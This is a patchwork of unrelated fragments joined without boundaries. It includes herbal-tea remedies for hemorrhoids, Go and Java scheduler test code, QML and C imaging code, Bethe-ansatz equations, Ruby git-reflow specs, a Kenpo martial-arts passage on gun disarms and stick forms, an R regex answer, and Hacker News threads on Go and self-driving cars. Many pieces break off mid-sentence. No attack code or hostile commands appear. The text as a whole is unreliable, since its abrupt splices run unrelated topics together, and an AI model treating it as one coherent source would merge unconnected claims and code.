can be an acquired taste and you mightn't like drinking it at first. Similarly, drinking chamomile tea is also regarded as a natural treatment for piles. If you decide this would suit you, I wouldn't recommend drinking both, but choose either green or chamomile tea and drink one cup daily. It's also important to note that chamomile tea can be used as a relaxant or mild sedative, so the best time to drink it may be at bedtime. Cutting out alcohol and coffee can also be one of the hemorrhoids home remedies. You could try drinking chamomile or green tea instead of a cup of coffee. However, don't expect instant results. It may take two to three weeks or even longer for this hemorrhoids homeopathic treatment to take effect.// Copyright 2016 The Xorm Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package builder import ( "errors" "fmt" ) func (b *Builder) selectWriteTo(w Writer) error { if len(b.tableName) <= 0 { return errors.New("no table indicated") } if _, err := fmt.Fprint(w, "SELECT "); err!= nil { return err } if len(b.selects) > 0 { for i, s := range b.selects { if _, err := fmt.Fprint(w, s); err!= nil { return err } if i!= len(b.selects)-1

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1= res=100:50"; String queuesConfig = // guaranteed,max,used,pending,reserved "root(=[100:50 100:50 80:40 120:60 0]);" + // root "-a(=[10:5 100:50 10:5 50:25 0]);" + // a "-b(=[40:20 100:50 40:20 60:30 0]);" + // b "-c(=[20:10 100:50 10:5 10:5 0]);" + // c "-d(=[30:15 100:50 20:10 0 0])"; // d String appsConfig = // queueName\t(priority,resource,host,expression,#repeat,reserved, // pending) "a\t" // app1 in a + "(1,1:1,n1,,5,false,25:25);" + // app1 a "a\t" // app2 in a + "(1,1:1,n1,,5,false,25:25);" + // app2 a "b\t" // app3 in b + "(4,1:1,n1,,36,false,20:20);" + // app3 b "b\t" // app4 in b + "(4,1:1,n1,,2,false,10:10);" + // app4 b "b\t" // app4 in b + "(5,1:1,n1,,1,false,10:10);" + // app5 b "b\t" // app4 in b + "(6,1:1,n1,,1,false,10:10);" + // app6 in b "c\t" // app1 in a + "(1,1:1,n1,,10,false,10:10);" + "d\t" // app7 in c + "(1,1:1,n1,,20,false,0)"; buildEnv(labelsConfig, nodesConfig, queuesConfig, appsConfig); policy.editSchedule(); // For queue B, app3 and app4 were of lower priority. Hence take 8 // containers from them by hitting the intraQueuePreemptionDemand of 20%. verify(mDisp, times(1)).handle(argThat( new TestProportionalCapacityPreemptionPolicy.IsPreemptionRequestFor( getAppAttemptId(4)))); verify(mDisp, times(3)).handle(argThat( new TestProportionalCapacityPreemptionPolicy.IsPreemptionRequestFor( getAppAttemptId(3)))); } @Test public void testIntraQueuePreemptionWithDominantVCoreResource() throws IOException { /** * The simplest test preemption, Queue structure is: * * <pre> * root * / \ * a b * </pre> * * Guaranteed resource of a/b are 40:60 Total cluster resource = 100 * Scenario: Queue B has few running apps and two high priority apps have * demand. Apps which are running at low priority (4) will preempt few of * its resources to meet the demand. */ conf.set(CapacitySchedulerConfiguration.INTRAQUEUE_PREEMPTION_ORDER_POLICY, "priority_first"); // Set max preemption limit as 50%. conf.setFloat(CapacitySchedulerConfiguration. INTRAQUEUE_PREEMPTION_MAX_ALLOWABLE_LIMIT, (float) 0.5); String labelsConfig = "=100:200,true;"; String nodesConfig = // n1 has no label "n1= res=100:200"; String queuesConfig = // guaranteed,max,used,pending,reserved "root(=[100:50 100:50 50:40 110:60 0]);" + // root "-a(=[40:20 100:50 9:9 50:30 0]);" + // a "-b(=[60:30 100:50 40:30 60:30 0]);"; // b String appsConfig = // queueName\t(priority,resource,host,expression,#repeat,reserved, // pending) "a\t" // app1 in a + "(1,2:1,n1,,4,false,25:25);" + // app1 a "a\t" // app2 in a + "(1,1:3,n1,,2,false,25:25);" + // app2 a "b\t" // app3 in b + "(4,2:1,n1,,10,false,20:20);" + // app3 b "b\t" // app4 in b + "(4,1:2,n1,,5,false,10:10);" + // app4 b "b\t" // app5 in b + "(5,1:1,n1,,5,false,30:20);" + // app5 b "b\t" // app6 in b + "(6,2:1,n1,,5,false,30:20);"; buildEnv(labelsConfig, nodesConfig, queuesConfig, appsConfig); policy.editSchedule(); // For queue B, app3 and app4 were of lower priority. Hence take 4 // containers. verify(mDisp, times(9)).handle(argThat( new TestProportionalCapacityPreemptionPolicy.IsPreemptionRequestFor( getAppAttemptId(3)))); verify(mDisp, times(4)).handle(argThat( new TestProportionalCapacityPreemptionPolicy.IsPreemptionRequestFor( getAppAttemptId(4)))); verify(mDisp, times(4)).handle(argThat( new TestProportionalCapacityPreemptionPolicy.IsPreemptionRequestFor( getAppAttemptId(5)))); } } import QtQuick 2.3 import lcvcore 1.0 import lcvimgproc 1.0 Grid{ // Sobel operator sample in x and y directions columns : 2 id : root property string imagePath : project.dir() + '/../../../samples/_images/buildings_0246.jpg' ImRead{ id : src file : root.imagePath } ChannelSelect{ id : cs input : src.output channel : 2 visible : false } Sobel{ // Sobel in y direction input : cs.output ddepth : Mat.CV16S width : src.width height : src.height xorder : 1 yorder : 0 ksize : 3 scale : 1 delta : 0 } Sobel{ // Sobel in x direction input : cs.output ddepth : Mat.CV16S width : src.width height : src.height xorder : 0 yorder : 1 ksize : 3 scale : 1 delta : 0 } } There are only six places in the U.S. outfitted with vacuum-powered garbage collection technology. Catering to a population of around 20,000, New York’s Roosevelt Island is one of them. Using automated vacuum collection system technology known as AVAC, garbage is sucked out of homes through large pipelines at speeds of up to 60 mph. AVAC, a Swedish technology, made its first big American debut at Disney World; unfortunately, Roosevelt Island was the only other major place it caught on. Chief engineer Jerry Sorgente is here to tell you all about it. Every day we track down a Video Wonder: an audiovisual offering that delights, inspires, and entertains. Have you encountered a video we should feature? Email ella@atlasobscura.com.And the winner is … Courtney Conlogue Courtney Conlogue recently won the 2009 Supergirl Pro Junior surfing competition, ripping through the waves in Oceanside, California to beat her competitors and claim the $5,000 top prize. “I really wanted the win and to take home the cape to be this year’s Supergirl champion,” she said. “It’s an honor to win an event like this that focuses on, and supports, the girls.” The 2009 Supergirl Pro Junior was the first event in this year’s Supergirl Jam, the action-sports industry’s

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+ \frac{2 \eta (\lambda + \eta) ( \xi^+ + \mu \nu ^+)}{(\lambda - \mu) (\lambda + \mu + \eta)} F_1 (\mu) \Psi _1 (\lambda) \end{split}$$ where the eigenvalue $\Lambda _1 (\lambda, \mu )$ is given by $$\label{Lambda1} \Lambda _1 (\lambda, \mu ) = \kappa _1 (\lambda) \frac{(\lambda + \mu)(\lambda - \mu - \eta)}{(\lambda - \mu)(\lambda + \mu + \eta)} \alpha (\lambda) + \kappa _2 (\lambda) \frac{(\lambda - \mu + \eta)(\lambda + \mu + 2 \eta)}{(\lambda - \mu)(\lambda + \mu + \eta)} \widehat{\delta} (\lambda).$$ Evidently $\Lambda _1 (\lambda, \mu )$ depends also on boundary parameters $\xi ^+$, $\nu ^+$ and the quasi-classical parameter $\eta$, but these parameters are omitted in order to simplify the formulae. The unwanted term on the right hand side is annihilated by the Bethe equation $$\label{F1} F_1 (\mu) = \frac{ 2\mu}{2\mu + \eta} \alpha (\mu ) - \frac{\xi^+ - (\mu + \eta)\nu ^+}{\xi^+ + \mu \nu ^+} \widehat{ \delta} (\mu) = 0,$$ or equivalently, $$\label{Bethe Eq-1} \frac{\alpha (\mu)}{\widehat{ \delta} (\mu)} = \frac{(\mu + \eta)\kappa _2 (\mu)}{\mu \, \kappa _1 (\mu)} = \frac{(2 \mu + \eta)(\xi^+ - (\mu + \eta)\nu ^+)}{2 \mu \, (\xi^+ + \mu \nu ^+)}.$$ Therefore we have shown that $\Psi _1 (\mu)$ is the Bethe vector of the transfer matrix corresponding to the eigenvalue $\Lambda _1 (\lambda, \mu )$. We seek the Bethe vector $\Psi _2 ( \mu_1, \mu_2)$ in the form $$\label{Psi2} \Psi _2 ( \mu_1, \mu_2) = \mathcal{B} (\mu_1) \mathcal{B} (\mu_2) \Omega _+ + b^{(1)}_2(\mu_2 ; \mu_1) \mathcal{B} (\mu_1) \Omega _+ + b^{(1)}_2(\mu_1; \mu_2 ) \mathcal{B} (\mu_2) \Omega _+ + b^{(2)}_2 ( \mu_1, \mu_2) \Omega _+,$$ where $b^{(1)}_2(\mu_1; \mu_2 )$ and $b^{(2)}_2( \mu_1, \mu_2)$ are given by $$\begin{aligned} \label{1b2} b^{(1)}_2 (\mu_1; \mu_2 ) &= \frac{\psi^+}{2 \nu ^+} \left( \frac{ 2 \mu _1}{2 \mu _1 + \eta} \frac{(\mu _1 + \mu _2)(\mu _1 - \mu _2 - \eta )}{(\mu _1 - \mu _2)(\mu _1 + \mu _2 + \eta )} \alpha (\mu _1) - \frac{(\mu _1 - \mu_2 + \eta)(\mu _1 + \mu_2 + 2 \eta)}{(\mu _1 - \mu _2)(\mu _1 + \mu_2 + \eta)} \widehat{ \delta} (\mu _1) \right), \\[2ex] \label{2b2} b^{(2)}_2 ( \mu_1, \mu_2) &= \frac{1}{2} \left( b^{(1)}_2 (\mu_1; \mu_2 ) \, b_1 (\mu _2) + b^{(1)}_2 (\mu_2; \mu_1 ) \, b_1 (\mu _1) \right).\end{aligned}$$ Starting from the definitions and, using the relations, and to push the operators $\mathcal{A} (\lambda)$, $\widehat{\mathcal{D}} (\lambda)$ and $\mathcal{C} (\lambda)$ to the right and after rearranging some terms, we obtain the off shell action of transfer matrix $t(\lambda)$ on $\Psi _2 ( \mu_1, \mu_2)$ $$\begin{aligned} \label{t-on-Psi2} &t(\lambda) \Psi _2 ( \mu_1, \mu_2) = \Lambda _2 (\lambda, \{\mu _i \} ) \Psi _2 ( \mu_1, \mu_2) + \sum _{i=1}^2 \frac{2 \eta (\lambda + \eta ) (\xi^+ + \mu _i \nu ^+)}{(\lambda - \mu _i) (\lambda + \mu _i + \eta )} F_2(\mu _i; \mu _{3-i}) \Psi _2 ( \lambda, \mu_{3-i}),\end{aligned}$$ where the eigenvalue is given by $$\label{Lambda2} \Lambda _2 (\lambda, \{\mu _i \}) = \kappa _1 (\lambda) \ \alpha (\lambda) \ \prod _{i =1}^2 \frac{(\lambda + \mu_i)(\lambda - \mu_i - \eta)}{(\lambda - \mu _i)(\lambda + \mu_i + \eta)} + \kappa _2 (\lambda) \ \widehat{ \delta} (\lambda) \ \prod _{i =1}^2 \frac{(\lambda - \mu_i + \eta)(\lambda + \mu_i + 2 \eta )}{(\lambda - \mu_i )(\lambda + \mu _i + \eta)}$$ and the two unwanted terms in are canceled by the Bethe equations which follow from $F_2(\mu _i; \mu _{3-i}) = 0$, i. e. $$\label{BE-2} \frac{ 2\mu _i}{2 \mu _i + \eta} \ \frac{(\mu _ i + \mu _{3-i})(\mu _ i - \mu _{3-i} - \eta )}{(\mu _ i - \mu _{3-i})(\mu _ i + \mu _{3-i} + \eta )} \alpha (\mu _i) - \frac{\xi^+ - (\mu _i + \eta)\nu ^+}{\xi^+ + \mu _i \nu ^+} \ \frac{(\mu _i - \mu_{3-i} + \eta)(\mu _i + \mu_{3-i} + 2 \eta)}{(\mu _i - \mu _{3-i})(\mu _i + \mu_{3-i} + \eta)} \widehat{ \delta} (\mu _i) = 0, $$ with $i = \{ 1, 2 \}$. Therefore the Bethe equations are $$\label{Bethe Eq-2.i} \frac{\alpha (\mu _i)}{\widehat{ \delta} (\mu _i)} = \frac{(\mu _i + \eta)\kappa _2 (\mu _i)}{\mu _i \, \kappa _1 (\mu _i)} \frac{(\mu _i - \mu_{3-i} + \eta)(\mu _i + \mu_{3-i} + 2 \eta)}{(\mu _ i + \mu _{3-i})(\mu _ i - \mu _{3-i} - \eta )},$$ where $i = \{ 1, 2 \}$. Striking property of the Bethe vectors we have introduced so far is the simplicity of the off shell action of the transfer matrix $t(\lambda)$, equations and. Actually, the action of the transfer matrix almost coincides with the one in the case when the two boundary matrices are diagonal [@Sklyanin88; @Hikami95]. The Bethe vector $\Psi _3 ( \mu_1, \mu_2, \mu_3)$ we propose is a symmetric function of its arguments and it is given as the following sum of eight terms $$\label{Psi3} \begin{split} \Psi _3 ( \mu_1, \mu_2, \mu_3) = \mathcal{B} (\mu_1) \mathcal{B} (\mu_2) \mathcal{B} (\mu_3)\Omega _+ + b ^{(1)}_3(\mu_3 ; \mu_2, \mu_1) \mathcal{B} (\mu_1) \mathcal{B} (\mu_2) \Omega _+ + b ^{(1)}_3(\mu_1 ; \mu_2, \mu_3) \times \\ \times \mathcal{B} (\mu_2) \mathcal{B} (\mu

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], pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'LGTM', created_at: Chronic.parse('1 minute ago')}], reviews: [] }) end specify { expect(subject).to eq([]) } end end context "multiple reviewers with only one approval" do before do FakeGitHub.new( repo_owner: user, repo_name: repo, pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'LGTM'}], reviews: [{author: 'ringo', state: 'CHANGES_REQUESTED'}] }) end specify { expect(subject).to eq(['tito']) } end context "multiple reviewers with all approvals" do before do FakeGitHub.new( repo_owner: user, repo_name: repo, pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'lgtm'}, {author: 'ringo', body: ':+1:'}], reviews: [] }) allow(GitReflow::GitServer::GitHub::PullRequest).to receive(:approval_regex).and_return(/(?i-mx:lgtm|looks good to me|:\+1:|:thumbsup:|:shipit:)/) end context "2 approvals" do specify { expect(subject).to eq(['tito', 'ringo']) } end context "2 approvals including reviews" do before do FakeGitHub.new( repo_owner: user, repo_name: repo, pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'lgtm'}], reviews: [{author: 'nature-boy', state: 'APPROVED'}] }) end specify { expect(subject).to eq(['tito', 'nature-boy']) } end context "but a new commit has been introduced" do before do FakeGitHub.new( repo_owner: user, repo_name: repo, commits: [ { author: user, pull_request_number: existing_pull_request.number, created_at: Chronic.parse("1 second ago") } ], pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'lgtm', created_at: Chronic.parse('1 minute ago')}, {author: 'ringo', body: ':+1:', created_at: Chronic.parse('1 minute ago')}], reviews: [] }) end specify { expect(subject).to eq([]) } end end end describe '#last_comment' do subject { pr.last_comment } before do FakeGitHub.new( repo_owner: user, repo_name: repo, pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'lgtm'}, {author: 'ringo', body: 'Cha cha cha'}], reviews: [] }) end specify { expect(subject).to eq('"Cha cha cha"') } end describe '#build' do let(:build) { Fixture.new('repositories/statuses.json').to_json_hashie.first } subject { pr.build } context "with an existing build" do specify { expect(subject.state).to eq(build.state) } specify { expect(subject.description).to eq(build.description) } specify { expect(subject.url).to eq(build.target_url) } end context "no build found" do before { allow(GitReflow.git_server).to receive(:get_build_status).and_return(nil) } specify { expect(subject.state).to eq(nil) } specify { expect(subject.description).to eq(nil) } specify { expect(subject.url).to eq(nil) } end end describe '#merge!' do let(:inputs) do { :base => "base_branch", :title => "title", :message => "message" } end let(:lgtm_comment_authors) { ["simonzhu24", "reenhanced"] } let(:merge_response) { { :message => "Failure_Message" } } subject { pr.merge! inputs } before do allow(GitReflow).to receive(:git_server).and_return(github) allow(GitReflow::Config).to receive(:get) allow(GitReflow.git_server).to receive(:connection).and_return(github_api) allow(GitReflow.git_server).to receive(:get_build_status).and_return(Struct.new(:state, :description, :target_url).new()) allow_any_instance_of(GitReflow::GitServer::PullRequest).to receive(:commit_message_for_merge).and_return('Bingo') allow_any_instance_of(GitReflow).to receive(:append_to_merge_commit_message).and_return(true) end context "and force-merging" do let(:inputs) do { base: "base_branch", title: "title", message: "message", force: true } end before { allow_any_instance_of(GitReflow::GitServer::PullRequest).to receive(:deliver?).and_return(true) } it "falls back on manual squash merge" do expect { subject }.to have_run_command "git merge --squash #{feature_branch_name}" end end context "and always deliver is set" do before do allow(GitReflow::Config).to receive(:get).with('reflow.always-deliver').and_return('true') allow(github_api).to receive_message_chain(:pull_requests, :merge).and_return(double(success?: true)) end it "doesn't ask to confirm deliver" do expect(pr).to_not receive(:ask).with('This is the current status of your Pull Request. Are you sure you want to deliver? ') subject end end context "and not suqash merging" do let(:inputs) do { base: "base_branch", title: "title", message: "message", merge_method: "merge" } end before do allow_any_instance_of(GitReflow::GitServer::PullRequest).to receive(:deliver?).and_return(true) allow(github_api).to receive_message_chain(:pull_requests, :merge).and_return(double(success?: true)) end it "doesn't ask Github to squash merge" do expect(github_api).to receive_message_chain(:pull_requests, :merge).with( user, repo, pr.number.to_s, { "commit_title" => "#{inputs[:title]}", "commit_message" => "#{inputs[:message]}\n", "sha" => pr.head.sha, "merge_method" => "merge" } ) subject end end context "finds pull request but merge response fails"

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if you poke his eyes, kick his groin, break his arm, knock his teeth out, disarm him AND THEN proceed to pistol-whip him four or five times as at least one extension teaches, you may be the one who winds up on the wrong side of the bar in court. The term the law uses is "molesting the corpse." We can go into a whole philosophical argument here about survival, quality of life, emotion, judgment, and more. My point is that once you have the gun, maybe you don't need to do all that to him. If you must, you learned all the lines to use with or without the weapon in the base techniques. Your instructor clued you in on that and how to do it. The other question is moral. Should you do it? You know how and you've been given the when—which is the situation you're in. But should you? It's a judgment call. So many factors need to be considered. I've been trained to teach judgment in my role as a flight instructor. It's even fair game for testing a candidate on their judgment on a flight test. This is tough stuff. Another thing I don't care for in the extensions is the gun handling at the end of the technique. Nobody who knows how to shoot holds a pistol as in the photo below. It looks nice and would be good for a demo. But it does nothing for a gunfighter. Think about the fact that most people don't know how to handle a gun anyway. Get familiar with basic firearm safe-handling rules. Did your teacher tell you to make sure you don't pass your hand in front of the barrel while doing any of this motion? To keep the barrel pointed away from you at all times and to make sure the opponent can't turn it back on you? Are you familiar with the operation of a revolver versus a semiautomatic weapon? Do you know how to de-cock, or clear a chamber? How to work a safety? Are you aware that you don't put your finger on the trigger until absolutely necessary and that you keep it outside the trigger guard until that time? All this takes training. Let's assume you successfully did the technique. You didn't lose the gun; you have it in your hand and are pointing at your attacker who is in a crumpled heap. Somebody saw this happening in the parking lot and called 911. They called in that they saw a man with a gun, and when the police roll up that's what they see, a man with a gun. The cops weren't there when it started. The officer does not know who had the gun in the first place. You could be the bad guy and have just beaten a non-compliant victim. So Mr. Policeman is going to order you to drop the gun. This is a big-time stress event for most people. If you remember your physiological responses to stress you will recall that tunnel vision and hearing loss are some of the manifestations. It's like fighting in a tournament. You honestly may not hear the center judge tell you to break in the heat of battle. You may not see or hear the officer tell you to drop the weapon. He will usually tell you two or three times since it often takes that much to get it to register. Maybe you get the message and drop the gun, then sort things out. Maybe instead you get the vague impression that someone else is on scene. So you turn toward the source of the light, sound, or touch. What he sees is you turning toward him with a weapon. You're probably going to get shot. It's going to make a great war story, if you live. Maybe you should kick the gun away. Maybe you should empty the chamber. Maybe you should run like hell. Maybe you should not hold the gun by the grip. Maybe, maybe, maybe.... Get some sound advice and make your training decisions. I refer you to Counselor Triolo's contribution, "What Now?" on this very subject, found at the conclusion of this book. 14 Here "low form" refers to the aforementioned Short Two. Martial artists often refer to the beginner and intermediate forms as low forms. # 8 # Forms Seven and Eight ## Some Background on These Two Forms Form Seven was originally a double knife form. The knife to be used was not an "Ed Parker" knife. That knife was designed by Gil Hibben as part of his black-belt thesis. The knife is now called the Kenpo Karate knife and has at least two versions. The Parker knife itself had several "mark" versions. The intended knife was smaller than the Parker knife, a double-edge dagger, to make manipulation easier. The original Seven was not widely taught. The opening of the original Form Seven is what is done today to open Form Eight. However, that is where the resemblance stops. The tribal lore of our system says that the original Form Seven was only taught to seven people. In Ed Parker's progression-type thinking, Form Seven was the next logical step in the forms. Form Six was defense against weapons that included knives. The majority of the techniques in Six are against a knife because he believed the versatility of a blade makes it the most dangerous of the weapons. If everything does have an opposite and a reverse, then we needed a form using the knife. In the 1980s, a stick form appeared and the original Seven was replaced by it. Form Eight was close behind. It was the new knife form, which supposedly is somewhat like the original Seven. Both forms use the weapons in both hands simultaneously. There are no single weapon forms. If there is any confusion, it is because of the renumbering. The "new" Eight is a modified version of the original Seven. Today's Kenpo forms listing refers to Seven, the stick form, and Eight, the knife form. In my mind it is questionable whether Ed Parker created these forms or not. I tend to think that they were put together with his help by a senior student. I started learning Seven from him just before he died. I was a little disappointed. The forms just did not feel like an Ed Parker form. Sure, they have Parker techniques and some of his weapons concepts. But much of what is in Seven and Eight I just cannot see him doing in reality. There have been reports of people cutting themselves while doing Form Eight. They are violating the weapons rules used in edged-weapon systems. For example, you know the Kenpo rule of the new hand moving outside the old to keep the hand from being trapped. If you apply that principle to a bladed weapon, your blade remains inside, possibly resulting in injury, especially with a blade of stick length or longer. ## Form Seven, Overview As I wrote elsewhere, this form is known today as a double stick or club form, whereas Seven was originally a double knife form. Knowing how Mr. Parker thought in progressions, doing a knife form made sense in that Form Six has knife disarms in it, and if you get the knife you should know how to use it. Alternatively, in his thinking, the club being somewhat less deadly than a knife, an argument can be made that you should learn the club before the knife. Mr. Parker was very concerned about his information on using a knife getting out and into the wrong hands. Maybe this is what caused him to switch the form to a club form instead of a knife form. (I am using the terms "club" and "stick" interchangeably.) From my familiarization with Filipino Martial Arts (FMA), I know that single stick is typically learned before double. In our system, we often don't do that, and this form is a double stick form. The form is composed of techniques very much like the empty-hand techniques to show that one can use a stick as an extension of the arm, a common martial arts concept. The problem I see with many who do this form is that they use the wrong size stick. Mr. Parker emphasized tailoring, and he had a formula for the stick as well. The stick should be as long as the distance from the tip of your longest finger to your elbow. When you palm the end of the stick it will protrude just past your elbow to protect it if you are using an inverted grip. This length also makes the stick very maneuverable and is much like that used in the Serrada FMA system. Serrada is a close-in system like Kenpo and so it makes sense to use a shorter stick. The longer stick tends to get one tangled up and makes it easier to be disarmed. If you buy escrima sticks to use, cut them down to size. Make sure the diameter fits you, too. It is my belief that you should get trained in an FMA system if you want to know how to use sticks and knives since these practitioners are arguably the best at their use. However, if you do not have the time or opportunity to do so, learning to use a stick via our system is done by learning Form Seven and being overseen by a competent instructor. That instructor can guide you through the technicalities of proper grip, distance, striking methods, and other rules of motion appropriate for using this weapon. This is not intended to simply be Five Swords with sticks. There are other rules of motion that need to be learned and understood when using weapons. If you ignore that, at the very least your motion will be less than effective, and further, you can get hurt. For example, if you use the "new hand in front" rule here that you were taught as a beginner, you get trapped. Using it with a knife often results in getting cut. The rule about not stepping back when you strike in front due to body weight moving away from the strike can be "

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(vel,"d3",&dz)) sf_error ("No d3= in slowness"); if (!sf_histfloat(vel,"o3",&z0)) z0=0.; sf_putint (out,"n3",nz); sf_putfloat(out,"d3",dz); sf_putfloat(out,"o3",z0); } /* from hertz to radian */ dw *= 2.*SF_PI; w0 *= 2.*SF_PI; /* allocate space for slowness and image */ slow = sf_slice_init(vel,ny,nx,nz); imag = sf_slice_init(inv? in:out,ny,nx,nz); /* initialize split-step */ split2_init(nz,dz,ny,dy,nx,dx,ntx,nty,padx,pady,nr,dt); split2 (verb, inv, eps, nw, dw, w0, inv? out:in, imag, slow); exit (0); } I am lying on hot slab of rock on the coast of Maine. Fifty feet down to my right, the Atlantic Ocean crashes against a cliff face. I watch as the water spews upward and across a pile of boulders, leaving tide pools in its wake. I am completely mesmerized. The waves come and they go and I stare and stare, my mind totally blank. But then I realize it's not so much blank as content, mentally at rest, and that it's been a while since I've felt this good. The water has apparently washed away any thoughts of stuff I need to do for work, or personal troubles that days before were weighing me down. I'm on vacation, I say to myself, and that's why happiness has taken over my brain. But then I realize it's human nature to seek out bodies of water. In fact, maps of the world's population show that the bulk of humanity today lives near water. We live along coastlines, around the rims of bays, up the course of rivers and streams, and on islands. We also vacation at the beach and find solace fishing on a lake. Nothing makes small children happier than the chance to splash through puddles. More surprising, this human penchant for water makes evolutionary sense. Sure, we need drinking water to live, but we have also benefited from what's swimming under the waves. Neuroscientist Michael Crawford of the University of North London has proposed that our ancient ancestors were devotees of the sea, and that their devotion paid off by allowing the human species to develop large and complex brains. Crawford claims that when humans separated from apes and emerged from the forests of Africa, they stuck close to rivers and beaches and started feasting on fish, clams and crabs. That marine diet was packed with omega-3 fatty acids, essential fatty acids that promote brain cell growth. It's no coincidence, Crawford claims, that human brain growth began to increase exponentially once we left the woods and headed for the beach. Scientists have also discovered that people who eat fish regularly, like I've been doing since we crossed the Maine state line, are less like to suffer from depression than those who eschew seafood. Psychiatrist and lipid biochemist Joseph Hibbelin of the National Institutes of Health has shown that across cultures there is a direct correlation between ounces of fish eaten each week and rates of depression. More interesting, Hibbelin and researcher Laura Reis have found that fish is commonly used as a symbol of happiness and good health in various religions and cultures. We know that fish and the sea are good for us, and so we seek them out, and when we move inland, or go home from vacation, we sadly lose touch with our maritime roots. Meredith F. Small is an anthropologist at Cornell University. She is also the author of "Our Babies, Ourselves; How Biology and Culture Shape the Way We Parent" (link) and "The Culture of Our Discontent; Beyond the Medical Model of Mental Illness" (link). Video: Clever Primates 10 Things You Didn't Know About You Gallery: Freaky FishQ: gsub: replace word if not wrapped in brackets I would like to gsub a word, but only cases where it is not wrapped in brackets. x <- c("hello","[hello]") I would like gsub(regex,"test",x) to return c("test","[hello]"), but I am having trouble creating the correct regex statement. A naive implementation is: gsub("^(?!\\[).*$","test",x, perl=TRUE), which works in the above case, but only because each string is one word, so it doesn't work for x <- "hello [hello]" for example, which I want to be test [hello]. I've tried a bunch of different lookaheads to no avail. Any help would be appreciated. Input x <- c("hello", "[hello]", "hello [hello]") Desired # [1] "test" "[hello]" "test [hello]" A: You can use negative look around to set constraint to the word boundaries, for instance (?<!\\[)\\b\\w+\\b(?!\\]) will replace words only if the word boundary is not []: gsub("(?<!\\[)\\b\\w+\\b(?!\\])", "test", x, perl = TRUE) # [1] "test [hello]" # assuming this is your desired output \\b\\w+\\b will look for a word but with negative look-behind?<! and negative look-ahead?!, the word boundary should not be []. You can also reference this answer. Work has ramped up on RailBlazer’s construction at California’s Great America. In the past week, heavy equipment has arrived on scene, and crews have drilled holes for foundation work. CGA also received the first shipment of track from Rocky Mountain Construction’s Idaho facility. That wraps up this update. Great America closes for the season on Oct. 29, and will reopen on Nov. 24 for its one-month WinterFest run. Share this: Facebook Twitter LinkedIn Email The main sell point of Go is not simplicity, but overall balance and flexibility - tapirl https://github.com/go101/go101/wiki/The-main-sell-point-of-Go-is-not-simplicity,-but-overall-balance-and-flexibility ====== dvirsky Go is the worst programming language out there, aside from any other language I've tried so far. Seriously though, besides being just a good solid balance between speed, ease, safety, etc without anything really exciting - there are a few cool things about Go that make you write cleaner programs: The biggest one for me (well, maybe after the concurrency model) was the whole implicit interface thing, alongside interface composition and avoiding Java-style class hierarchy. It just forces you to think in interfaces and avoid complex hierarchies. This leads to much cleaner elegant code-bases. ~~~ guessmyname Edit: @CharlesW made me realize that @dvirsky is not bashing on the language, the comment below is a reaction to their choice of words, specifically to the first sentence. That being said, I will keep my comment as is for context. I would have chosen the word _“boring”_ rather than _“worst”_ to describe Go, but I am not a native English speaker so maybe _“worst”_ is okay. \--- > _Go is the worst programming language out there, aside from any other > language I've tried so far._ Ha! Opinions, it’s always interesting to hear what other people thing about stuff I use every day. I, on the other hand, enjoy programming with Go. It has opened a lot of doors in my career and I can even attribute my success to its existence. Roughly five years ago I was struggling to justify a higher salary in my home country; soon after I started using Go and promoting my projects people started sending invitations to interview for jobs in different companies. I took a chance and quit my job, traveled to the US, a few European countries and Asia, looking for a good company to build my next ±5 years of experience, and finally settled in one of the majors cities in Canada with a company that pays me considerably well to write programs in a language that you consider the worst out there. But you know what? I understand your feelings, because I also have a programming language in mind that I consider the worst out there, but you will never find me throwing dirt at it or its community because I know there are people out there who enjoy working with it the same way I enjoy working with Go. ~~~ CharlesW BTW, the parent commenter is saying that Go is their favorite programming language. They're using a form similar to "democracy is the worst form of Government except for all those other forms that have been tried from time to time", which was quoted by Churchill. ------ Animats Yes. The sell point of Go was supposed to be

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, etc. where one legal person might be responsible for the acts of another. So, again, rather than vague handwaves at poorly defined distinctions, I'd like to hear those arguing that liability law is a real imminent problem with AI that will require major and fundamental change to do something to specify the specific ways in which existing law is inadequate. ------ warmfuzzykitten This is a clickbait meme that has been done to death. There is no reason to assume that self-driving cars won't behave as selfishly as human drivers. That is, act in the self-interest of the passengers in all but the most extreme cases, most of which will be beyond the capability of the AI (or human driver) to understand. Like a human, an AI might be expected to stop suddenly if a child runs into the street, even at the risk of being rear- ended, because the risk to the passengers is minor. In the same circumstance, one would not expect an AI to drive off a cliff to avoid the child. ------ gus_massa Previous discussion (It has no too many comets, but the comments are interesting.) : [https://news.ycombinator.com/item?id=9584026](https://news.ycombinator.com/item?id=9584026) (9 points, 60 days ago, 5 comments) ------ headstrongboy The problem with this article us that it does not take into account consequences. With human drivers the consequences of hitting another driver or pedestrian is on the driver while for automatised vehicles the consequences will be on a few companies. Companies are rarely held accountable for their action as seen by the GM ignition switch deatht except for a few fines and law suits. While a driver can be arrested and tried by criminal law for their actions. A person also has to live with the fact they killed someone while companies it will be a statistic. ------ jmnicolas Ah the endless protectionist argument : let's take all control from your life so that we can save lives. The road to hell is paved with good intentions. I'm not saying people dying is a good thing and nothing should be done to prevent it, but we are to be reasonable about it. No matter what we do, people will eventually die, so let's not transform our lives in something so boring that the only non natural cause of death will be suicide. ------ kardos Banks get hacked, governments get hacked, purveyors of malware get hacked, sleazy websites get hacked.... any reason to expect that self-driving cars won't get hacked? Something as complex as autonomous pilot software surely has plenty of attack surface, which will be promptly exploited by scum like HackingTeam to provide remote control/monitoring abilities to shady customers. ------ malandrew I honestly don't think this will ever be the case because it relies on two major assumptions: (1) there is some parent process in control of both cars involved in an accident. (2) all cars implement the same AI. What is far more likely is a future in which there are many different types of self-driving AIs on the road from many different manafacturers, each of which will have different algorithms for all aspects of autonomous driving. Ultimately, this diversity will lead to carmakers designing algorithms that speculate on what another car might do. This is likely because the coordination costs between n different automaker's autonomous systems will rise with the square of n. In other words, unless we end up with a monoculture or only two or three different systems on the road, coordination just isn't going to happen. The second issue is that even if the automakers could coordinate, such coordination would rely on vehicle to vehicle 